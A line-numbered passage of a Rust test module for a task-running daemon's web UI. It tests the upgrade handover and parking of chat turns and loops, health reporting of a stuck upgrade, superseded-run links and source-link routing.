15017 }
15018 }
15019
15020 #[tokio::test]
15023 async fn the_handover_signal_wakes_one_waiter_once() {
15024 let signal = Notify::new();
15025 signal.notify_one();
15027 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15028 .await
15029 .expect("an early signal is still seen");
15030 assert!(
15032 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15033 .await
15034 .is_err(),
15035 "a consumed signal must not wake a second time"
15036 );
15037 let signal = std::sync::Arc::new(signal);
15039 let waiter = tokio::spawn({
15040 let signal = std::sync::Arc::clone(&signal);
15041 async move { wait_for_handover(&signal).await }
15042 });
15043 tokio::time::sleep(Duration::from_millis(20)).await;
15044 assert!(!waiter.is_finished(), "nothing was signalled yet");
15045 signal.notify_one();
15046 tokio::time::timeout(Duration::from_secs(5), waiter)
15047 .await
15048 .expect("a late signal wakes the waiter")
15049 .expect("join");
15050 }
15051
15052 #[tokio::test]
15053 async fn health_says_how_long_a_handover_has_been_stuck() {
15054 let fx = Fixture::start().await;
15055 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15056 progress.advance(crate::updater::Stage::Replaced);
15057 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15058 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15059
15060 let health = fx.get("/api/health").await.json();
15061 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15062 assert!(stuck >= 600, "{stuck}");
15063 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15064 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15065 }
15066
15067 #[tokio::test]
15068 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15069 let home = tempfile::tempdir().expect("temp home");
15070 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15071 progress.advance(crate::updater::Stage::Parking);
15072 crate::updater::write_progress(home.path(), &progress).expect("seed");
15073 let mut again = progress.clone();
15075 again.advance(crate::updater::Stage::Replaced);
15076 crate::updater::write_progress(home.path(), &again).expect("replaced");
15077 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15078 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15079 let after = crate::updater::read_progress(home.path()).expect("record");
15080 assert_eq!(after.stage, crate::updater::Stage::Parking);
15081 }
15082
15083 #[tokio::test]
15084 async fn health_does_not_call_a_live_parking_wait_stuck() {
15085 let fx = Fixture::start().await;
15086 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15087 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15088 progress.advance(crate::updater::Stage::Parking);
15089 let hours = Duration::from_secs(3 * 3600);
15090 progress.started_at = Timestamp::now() - hours;
15091 progress.updated_at = Timestamp::now() - hours;
15092 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15093 let _lease = crate::updater::LeaseGuard::enter(
15094 fx.home.path(),
15095 Some("20260905-000000-cd51".to_owned()),
15096 );
15097
15098 let health = fx.get("/api/health").await.json();
15099 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15100 assert!(health["upgrade"]["stuck_kind"].is_null());
15101 assert_eq!(health["upgrade"]["handover_alive"], true);
15102 let waiting_on = health["upgrade"]["waiting_on"]
15103 .as_str()
15104 .expect("waiting_on");
15105 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15106 }
15107
15108 fn idle_ui(home: &TempDir) -> Ui {
15109 let runs = home.path().join("runs");
15110 std::fs::create_dir_all(&runs).expect("runs dir");
15111 Ui::new(
15112 Queue::at(home.path().join("queue")),
15113 Questions::at(home.path().join("questions")),
15114 Talks::at(home.path().join("talks")),
15115 runs,
15116 home.path().to_path_buf(),
15117 PathBuf::from("/repo/magi"),
15118 )
15119 .with_launch(launch_idle)
15120 }
15121
15122 async fn park_fixture(
15123 home: &TempDir,
15124 ) -> (
15125 Ui,
15126 Arc<Mutex<LoopState>>,
15127 Arc<Mutex<TalkTurns>>,
15128 tokio::task::JoinHandle<std::io::Result<()>>,
15129 ) {
15130 let ui = idle_ui(home);
15131 let looping = ui.looping();
15132 let turns = ui.turns();
15133 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15134 .await
15135 .expect("bind loopback");
15136 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15137 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15138 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15139 (ui, looping, turns, served)
15140 }
15141
15142 #[tokio::test]
15146 async fn hand_over_waits_for_a_running_chat_turn() {
15147 let home = TempDir::new().expect("temp home");
15148 let (ui, looping, turns, served) = park_fixture(&home).await;
15149 let ui = Arc::new(ui);
15150 let id = "20260901-000000-chat";
15151 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15152
15153 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15154 let handover = tokio::spawn({
15155 let home = home.path().to_path_buf();
15156 let turns = Arc::clone(&turns);
15157 let calls = Arc::clone(&calls);
15158 async move {
15159 hand_over(
15160 &home,
15161 &looping,
15162 &turns,
15163 &|_: &[String]| Duration::from_secs(60),
15164 served,
15165 move |_| {
15166 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15167 Ok(1)
15168 },
15169 )
15170 .await
15171 }
15172 });
15173
15174 let waiting = async {
15175 for _ in 0..200 {
15176 if crate::updater::read_progress(home.path())
15177 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15178 {
15179 return;
15180 }
15181 tokio::time::sleep(Duration::from_millis(25)).await;
15182 }
15183 panic!("the park never named the chat turn");
15184 };
15185 waiting.await;
15186 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15187
15188 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15191 assert!(
15192 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15193 "a direct start says an upgrade is in progress"
15194 );
15195 assert!(
15196 ui.begin_queued_talk_turn("20260901-000000-late")
15197 .expect("queued claim")
15198 .is_none()
15199 );
15200 assert!(matches!(
15201 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15202 .expect("start"),
15203 TalkTurnStart::Busy
15204 ));
15205 assert_eq!(turns.lock().unwrap().live.len(), 1);
15206
15207 let progress = crate::updater::read_progress(home.path()).expect("progress");
15209 let view = upgrade_progress_view(&ui, progress);
15210 assert!(
15211 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15212 "{:?}",
15213 view.waiting_on
15214 );
15215
15216 assert!(!handover.is_finished());
15217 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15218 drop(turn);
15219 handover.await.expect("join").expect("hand over");
15220 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15221 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15222 }
15223
15224 #[tokio::test]
15227 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15228 let home = TempDir::new().expect("temp home");
15229 let (ui, looping, turns, served) = park_fixture(&home).await;
15230 let id = "20260901-000000-stuk";
15231 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15232
15233 let calls = std::sync::atomic::AtomicUsize::new(0);
15234 hand_over(
15235 home.path(),
15236 &looping,
15237 &turns,
15238 &|_: &[String]| Duration::from_millis(300),
15239 served,
15240 |_| {
15241 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15242 Ok(1)
15243 },
15244 )
15245 .await
15246 .expect("hand over");
15247 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15248
15249 let progress = crate::updater::read_progress(home.path()).expect("progress");
15250 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15251 assert!(
15252 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15253 "{:?}",
15254 progress.detail
15255 );
15256 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15257 assert!(
15258 log.contains("handing over anyway") && log.contains(id),
15259 "{log}"
15260 );
15261 }
15262
15263 #[tokio::test]
15266 async fn drain_loop_starts_no_turn_while_parking() {
15267 let tmp = TempDir::new().expect("tempdir");
15268 let repo = tmp.path().join("repo");
15269 std::fs::create_dir_all(&repo).expect("repo dir");
15270 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15271 let home = TempDir::new().expect("temp home");
15272 let talks = Talks::at(home.path().join("talks"));
15273 let ui = Ui::new(
15274 Queue::at(home.path().join("queue")),
15275 Questions::at(home.path().join("questions")),
15276 talks.clone(),
15277 home.path().join("runs"),
15278 home.path().to_path_buf(),
15279 repo.clone(),
15280 )
15281 .with_worktrees_root(home.path().join("wt"));
15282 let cfg = config_for(&repo).await.expect("discover config");
15283 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15284 let id = talk.id.clone();
15285 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15286 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15287 let turns = ui.turns();
15288 let parking = ParkingTurns::begin(&turns);
15289
15290 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15291
15292 assert!(
15293 turns.lock().unwrap().live.is_empty(),
15294 "the slot is given up"
15295 );
15296 let fresh = talks.get(&id).expect("talk");
15297 assert_eq!(fresh.pending, "later", "the draft is still queued");
15298 assert!(fresh.turns.is_empty(), "no turn ran");
15299 drop(parking);
15300 }
15301
15302 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15304 let looping = ui.looping();
15305 let turns = ui.turns();
15306 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15307 .await
15308 .expect("bind loopback");
15309 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15310 let told = std::sync::Mutex::new(None);
15311 hand_over(
15312 home.path(),
15313 &looping,
15314 &turns,
15315 &|_: &[String]| Duration::from_secs(5),
15316 served,
15317 |resume| {
15318 *told.lock().unwrap() = Some(resume);
15319 Ok(1)
15320 },
15321 )
15322 .await
15323 .expect("hand over");
15324 told.into_inner().unwrap().expect("successor was started")
15325 }
15326
15327 #[tokio::test]
15328 async fn a_running_loop_is_resumed_by_the_successor() {
15329 let home = TempDir::new().expect("temp home");
15330 let ui = idle_ui(&home);
15331 ui.start_loop(None).expect("start");
15332 ui.park_for_upgrade().expect("park");
15333 for _ in 0..500 {
15335 if !ui.loop_view(None).running {
15336 break;
15337 }
15338 tokio::time::sleep(Duration::from_millis(2)).await;
15339 }
15340 assert!(handed_over(&home, ui).await, "a running loop must resume");
15341
15342 let successor = idle_ui(&home);
15343 assert!(!successor.loop_view(None).running);
15344 assert!(successor.resume_after_handover(true));
15345 assert!(successor.loop_view(None).running);
15346 successor.stop_loop(None, false).expect("stop");
15347 }
15348
15349 #[tokio::test]
15350 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15351 let home = TempDir::new().expect("temp home");
15352 let ui = idle_ui(&home);
15353 ui.start_loop(None).expect("start");
15354 ui.park_for_upgrade().expect("first park");
15355 ui.park_for_upgrade().expect("second park");
15356 assert!(handed_over(&home, ui).await);
15357 }
15358
15359 #[tokio::test]
15360 async fn a_stop_during_the_handover_wait_is_honoured() {
15361 let home = TempDir::new().expect("temp home");
15362 let ui = idle_ui(&home);
15363 ui.start_loop(None).expect("start");
15364 ui.park_for_upgrade().expect("park");
15365 ui.stop_loop(None, false).expect("stop");
15366 assert!(!handed_over(&home, ui).await);
15367 }
15368
15369 #[tokio::test]
15370 async fn an_idle_loop_stays_stopped_across_the_handover() {
15371 let home = TempDir::new().expect("temp home");
15372 let ui = idle_ui(&home);
15373 ui.park_for_upgrade().expect("park");
15374 assert!(!handed_over(&home, ui).await);
15375
15376 let successor = idle_ui(&home);
15377 assert!(!successor.resume_after_handover(false));
15378 assert!(!successor.loop_view(None).running);
15379 }
15380
15381 #[tokio::test]
15382 async fn a_loop_the_operator_stopped_is_not_resumed() {
15383 let home = TempDir::new().expect("temp home");
15384 let ui = idle_ui(&home);
15385 ui.start_loop(None).expect("start");
15386 ui.stop_loop(None, false).expect("stop");
15387 ui.park_for_upgrade().expect("park");
15388 assert!(!handed_over(&home, ui).await);
15389 }
15390
15391 #[test]
15392 fn only_an_explicit_one_requests_a_resume() {
15393 assert!(!resume_requested(None));
15394 assert!(!resume_requested(Some("0".into())));
15395 assert!(!resume_requested(Some("".into())));
15396 assert!(resume_requested(Some("1".into())));
15397 }
15398
15399 #[test]
15400 fn the_upgrade_button_arms_before_it_restarts_anything() {
15401 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15404 assert!(APP_JS.contains("Replace the binary and restart?"));
15405 assert!(APP_JS.contains("function confirmed("));
15406 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15411 assert!(
15415 APP_JS.contains("Parking, then restarting"),
15416 "the button says what it is waiting for"
15417 );
15418 assert!(APP_JS.contains("if (!out.to)"));
15421 }
15422
15423 #[test]
15424 fn stopping_the_loop_arms_but_starting_does_not() {
15425 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15428 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15429 assert!(APP_JS.contains("confirmed(button, question)"));
15430 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15433 assert!(APP_JS.contains("const label = btn.textContent;"));
15434 assert!(!APP_JS.contains("Neither direction is guarded"));
15435 }
15436
15437 #[test]
15438 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15439 assert!(
15440 APP_JS.contains("state.health.version"),
15441 "the operator wants to know what is running even with nothing newer"
15442 );
15443 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15444 }
15445
15446 #[test]
15447 fn the_upgrade_button_names_its_destination() {
15448 assert!(
15449 APP_JS.contains("`Update to ${update.to}`"),
15450 "pressing the button should not be a surprise about what it moves to"
15451 );
15452 }
15453
15454 #[test]
15455 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15456 for stage in ["downloading", "replaced", "parking", "restarting"] {
15457 assert!(
15458 APP_JS.contains(&format!("\"{stage}\"")),
15459 "the phone must be able to tell {stage} apart from the others"
15460 );
15461 }
15462 assert!(APP_JS.contains(".waiting_on"));
15463 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15468 assert!(APP_JS.contains("reconnects on its own"));
15469 }
15470
15471 #[test]
15472 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15473 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15482 ..APP_JS.find("function upgrade(").expect("upgrade")];
15483 assert!(
15484 !body.contains(
15485 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15486 ),
15487 "a failed upgrade must not take the whole strip over the way it used to"
15488 );
15489 assert!(
15490 body.contains("upgradeFailNote"),
15491 "the failure has to reach the loop's own note instead"
15492 );
15493 assert_eq!(
15497 body.matches("upgradeFailNote].filter(Boolean).join")
15498 .count(),
15499 2,
15500 "both loop-why writers (quiet and control) must fold the note in"
15501 );
15502 }
15503
15504 #[test]
15505 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15506 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15509 assert!(APP_JS.contains("function upgradeOverdue("));
15510 }
15511
15512 #[test]
15513 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15514 assert!(
15515 APP_JS.contains("Updated to ${upgradeInfo.to"),
15516 "the operator who asked for the restart wants to know it worked"
15517 );
15518 }
15519
15520 #[test]
15521 fn an_error_is_visible_from_where_the_button_is() {
15522 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15527 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15528 assert!(
15529 alert.contains("position: fixed"),
15530 "an error about the thing under your thumb has to be visible from \
15531 where your thumb is: {alert}"
15532 );
15533 assert!(
15534 alert.contains("z-index: 25"),
15535 "above the dock (20) and the run-actions FAB (15), so neither \
15536 buries it: {alert}"
15537 );
15538 assert!(
15539 alert.contains("var(--tap)"),
15540 "and clear of the dock and the home indicator: {alert}"
15541 );
15542 assert!(
15545 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15546 "the FAB's column stays free: {alert}"
15547 );
15548 }
15549
15550 #[tokio::test]
15551 async fn an_older_attempt_says_what_replaced_it() {
15552 let fx = Fixture::start().await;
15553 let q = fx.queue();
15554 let runs = fx.runs();
15555 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15556 write_run(&runs, first, RunStatus::Stalled);
15557 write_run(&runs, second, RunStatus::Blocked);
15558
15559 let mut t = Task::new(
15560 "one task".to_owned(),
15561 "do it".to_owned(),
15562 PathBuf::from("/repo"),
15563 Source::Human,
15564 );
15565 t.runs = vec![first.to_owned(), second.to_owned()];
15566 q.put(&mut t).expect("put");
15567
15568 let rows = fx.get("/api/runs").await.json();
15572 let by = |short: &str| -> Value {
15573 rows.as_array()
15574 .unwrap()
15575 .iter()
15576 .find(|r| r["short"] == short)
15577 .cloned()
15578 .unwrap_or(Value::Null)
15579 };
15580 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15581 assert!(
15582 by("bbbb")["superseded_by"].is_null(),
15583 "the latest attempt is not superseded by anything"
15584 );
15585 assert!(APP_JS.contains("run.superseded_by"));
15587 assert!(APP_JS.contains("Superseded by"));
15588 }
15589
15590 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15591 let mut t = Task::new(
15592 "one task".to_owned(),
15593 "do it".to_owned(),
15594 PathBuf::from("/repo"),
15595 Source::Human,
15596 );
15597 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15598 t.status = status;
15599 t
15600 }
15601
15602 #[test]
15603 fn source_link_picks_the_page_that_filed_the_task() {
15604 let agent = |node: &str| Source::Agent {
15605 run: "20260904-014455-ab12".to_owned(),
15606 node: node.to_owned(),
15607 };
15608 let chat = source_link(&agent("chat")).expect("chat link");
15609 assert_eq!(chat.kind, "chat");
15610 assert_eq!(chat.id, "20260904-014455-ab12");
15611 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15612 let run = source_link(&agent("implement")).expect("run link");
15613 assert_eq!(
15614 (run.kind, run.href.as_str()),
15615 ("run", "#/runs/20260904-014455-ab12")
15616 );
15617 assert_eq!(source_link(&Source::Human), None);
15618 assert_eq!(
15619 source_link(&Source::Issue {
15620 number: 3,
15621 repo: "o/r".to_owned()
15622 }),
15623 None
15624 );
15625 let odd = source_link(&Source::Agent {
15626 run: "a b/c".to_owned(),
15627 node: "chat".to_owned(),
15628 })
15629 .expect("link");
15630 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15631 }
15632
15633 #[test]
15634 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15635 assert!(
15636 !APP_JS.contains("src.node === \"chat\""),
15637 "inline href rule is back"
15638 );
15639 assert!(
15640 APP_JS.matches("sourceLinkOf(").count() >= 4,
15641 "helper must serve every page"
15642 );
15643 assert!(
15644 APP_JS.matches("openChatLink(").count() >= 3,
15645 "the run page still needs its explicit chat link"
15646 );
15647 assert!(
15648 !APP_JS.contains("const openChat = el("),
15649 "the Queue card duplicates its source label link again"
15650 );
15651 assert!(
15652 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15653 "the task page must link a chat source label too"
15654 );
15655 }
15656
15657 #[test]
15658 fn task_ref_carries_the_source_link_for_a_chat_task() {
15659 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15660 t.source = Source::Agent {
15661 run: "20260904-014455-ab12".to_owned(),
15662 node: "chat".to_owned(),
15663 };
15664 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15665 let v = serde_json::to_value(&out).expect("json");
15666 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15667 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15668 assert_eq!(v["source_label"], t.source.label());
15669
15670 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15671 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15672 .expect("json");
15673 assert!(v["source_link"].is_null(), "{v}");
15674 }
15675
15676 #[test]
15677 fn task_view_serializes_source_link() {
15678 let mut t = Task::new(
15679 "t".to_owned(),
15680 "t".to_owned(),
15681 PathBuf::from("/repo"),
15682 Source::Agent {
15683 run: "20260901-000000-aaaa".to_owned(),
15684 node: "implement".to_owned(),
15685 },
15686 );
15687 t.runs.clear();
15688 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15689 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15690 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15691 }
15692
15693 #[tokio::test]
15694 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15695 let fx = Fixture::start().await;
15696 let runs = fx.runs();
15697 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15698 write_run(&runs, old, RunStatus::Blocked);
15699 write_run(&runs, new, RunStatus::Merged);
15700 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15701 fx.queue().put(&mut t).expect("put");
15702
15703 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15704 let task = &view["task"];
15705 assert_eq!(task["status"], "done");
15706 assert_eq!(task["is_latest"], false);
15707 assert_eq!(task["latest"]["short"], "bbbb");
15708 assert_eq!(task["finished_by"]["id"], new);
15709 assert_eq!(task["finished_by"]["outcome"], "merged");
15710 assert_eq!(task["closed_by_hand"], false);
15711 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15712 assert!(APP_JS.contains("finished_by"));
15713 assert!(APP_JS.contains("superseded by run"));
15714 }
15715
15716 #[tokio::test]
15717 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15718 let fx = Fixture::start().await;
15719 let runs = fx.runs();
15720 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15721 write_run(&runs, old, RunStatus::Stalled);
15722 write_run(&runs, new, RunStatus::Blocked);
15723 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15724 fx.queue().put(&mut t).expect("put");
15725
15726 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15727 assert_eq!(task["status"], "held");
15728 assert_eq!(task["is_latest"], true);
15729 assert!(task["latest"].is_null());
15730 assert!(task["finished_by"].is_null());
15731 assert_eq!(task["closed_by_hand"], false);
15732 }
15733
15734 #[tokio::test]
15735 async fn a_direct_run_has_no_task_outcome() {
15736 let fx = Fixture::start().await;
15737 let runs = fx.runs();
15738 let id = "20260901-000000-aaaa";
15739 write_run(&runs, id, RunStatus::Blocked);
15740 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15741 assert!(view["task"].is_null());
15742 }
15743
15744 #[test]
15745 fn task_outcome_does_not_guess_a_finishing_run() {
15746 let a = "20260901-000000-aaaa";
15747 let b = "20260901-000000-bbbb";
15748 let c = "20260901-000000-cccc";
15749 let dir = tempfile::tempdir().expect("tempdir");
15750 write_run(dir.path(), a, RunStatus::Blocked);
15751 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15752 let read = |id: &str| read_run(dir.path(), id).ok();
15754 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15757 let out = task_outcome(&t, a, 3, read);
15758 assert!(out.finished_by.is_none());
15759 assert!(out.closed_by_hand);
15760 let latest = out.latest.expect("latest");
15761 assert_eq!(latest.id, c);
15762 assert_eq!(latest.status, None);
15763 assert_eq!(latest.outcome, "record unreadable");
15764
15765 write_run(dir.path(), c, RunStatus::Ready);
15767 let t = outcome_task(&[a, c], TaskStatus::Done);
15768 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15769 assert_eq!(out.finished_by.expect("finisher").id, c);
15770 assert!(!out.closed_by_hand);
15771
15772 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15774 assert!(task_outcome(&t, a, 3, read).is_latest);
15775 }
15776
15777 #[tokio::test]
15778 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15779 let fx = Fixture::start().await;
15784 let q = fx.queue();
15785 let runs = fx.runs();
15786 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15787 write_run(&runs, first, RunStatus::Blocked);
15788 write_run(&runs, second, RunStatus::Merged);
15789
15790 let mut t = Task::new(
15791 "one task".to_owned(),
15792 "do it".to_owned(),
15793 PathBuf::from("/repo"),
15794 Source::Human,
15795 );
15796 t.runs = vec![first.to_owned(), second.to_owned()];
15797 q.put(&mut t).expect("put");
15798
15799 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15800 assert_eq!(earlier["superseded_by"], "dddd");
15801 assert_eq!(earlier["latest_attempt"]["id"], second);
15802 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15803 assert_eq!(
15804 earlier["latest_attempt"]["resolved"], true,
15805 "the run that replaced it landed, so this one reads as settled"
15806 );
15807
15808 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15809 assert!(
15810 later["superseded_by"].is_null(),
15811 "the latest attempt is not superseded by anything"
15812 );
15813 assert!(
15814 later["latest_attempt"].is_null(),
15815 "the latest attempt has no later attempt of its own"
15816 );
15817
15818 assert!(APP_JS.contains("run.latest_attempt"));
15825 assert!(APP_JS.contains("data-superseded"));
15826 assert!(APP_JS.contains("#/runs/${latest.id}"));
15827 }
15828
15829 #[tokio::test]
15830 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15831 let fx = Fixture::start().await;
15837 let q = fx.queue();
15838 let runs = fx.runs();
15839 let (a, b, c) = (
15840 "20260901-000000-aaaa",
15841 "20260901-000000-bbbb",
15842 "20260901-000000-cccc",
15843 );
15844 write_run(&runs, a, RunStatus::Blocked);
15845 write_run(&runs, b, RunStatus::Blocked);
15846 write_run(&runs, c, RunStatus::Merged);
15847
15848 let mut t = Task::new(
15849 "retried twice".to_owned(),
15850 "do it".to_owned(),
15851 PathBuf::from("/repo"),
15852 Source::Human,
15853 );
15854 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15855 q.put(&mut t).expect("put");
15856
15857 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15858 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15859 assert_eq!(
15860 view["latest_attempt"]["id"], c,
15861 "the chain's current head, not the intermediate Blocked retry"
15862 );
15863 assert_eq!(view["latest_attempt"]["resolved"], true);
15864
15865 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15866 assert_eq!(mid["latest_attempt"]["id"], c);
15867 assert_eq!(mid["latest_attempt"]["resolved"], true);
15868 }
15869
15870 #[tokio::test]
15871 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15872 let fx = Fixture::start().await;
15873 let q = fx.queue();
15874 let runs = fx.runs();
15875
15876 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15879 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15880 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15881 let mut t1 = Task::new(
15882 "still stuck".to_owned(),
15883 "do it".to_owned(),
15884 PathBuf::from("/repo"),
15885 Source::Human,
15886 );
15887 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15888 q.put(&mut t1).expect("put");
15889 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15890 assert_eq!(view1["latest_attempt"]["resolved"], false);
15891 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15892 assert_eq!(view1["latest_attempt"]["done"], true);
15893
15894 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15896 write_run(&runs, run_a, RunStatus::Blocked);
15897 write_run(&runs, run_b, RunStatus::Implementing);
15898 let mut t3 = Task::new(
15899 "retrying".to_owned(),
15900 "do it".to_owned(),
15901 PathBuf::from("/repo"),
15902 Source::Human,
15903 );
15904 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15905 q.put(&mut t3).expect("put");
15906 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15907 assert_eq!(view3["latest_attempt"]["id"], run_b);
15908 assert_eq!(view3["latest_attempt"]["resolved"], false);
15909 assert_eq!(view3["latest_attempt"]["done"], false);
15910
15911 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15916 write_run(&runs, noop_a, RunStatus::Blocked);
15917 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15918 let mut t2 = Task::new(
15919 "claims done".to_owned(),
15920 "do it".to_owned(),
15921 PathBuf::from("/repo"),
15922 Source::Human,
15923 );
15924 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15925 q.put(&mut t2).expect("put");
15926 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15927 assert_eq!(
15928 view2["latest_attempt"]["resolved"], false,
15929 "an unverified no-op claim must not read as a confirmed finish"
15930 );
15931
15932 assert!(APP_JS.contains("latest.resolved"));
15935 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15938 assert!(APP_JS.contains("Latest attempt: "));
15939 assert!(APP_JS.contains("in flight"));
15940 assert!(APP_JS.contains("not resolved"));
15941 }
15942
15943 #[tokio::test]
15944 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15945 let fx = Fixture::start().await;
15946 let js = fx.get("/app.js").await;
15952 assert_eq!(js.status, 200);
15953 let tag = js
15954 .header("etag")
15955 .expect("an etag to revalidate against")
15956 .to_owned();
15957 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15958 assert_eq!(
15959 js.header("cache-control"),
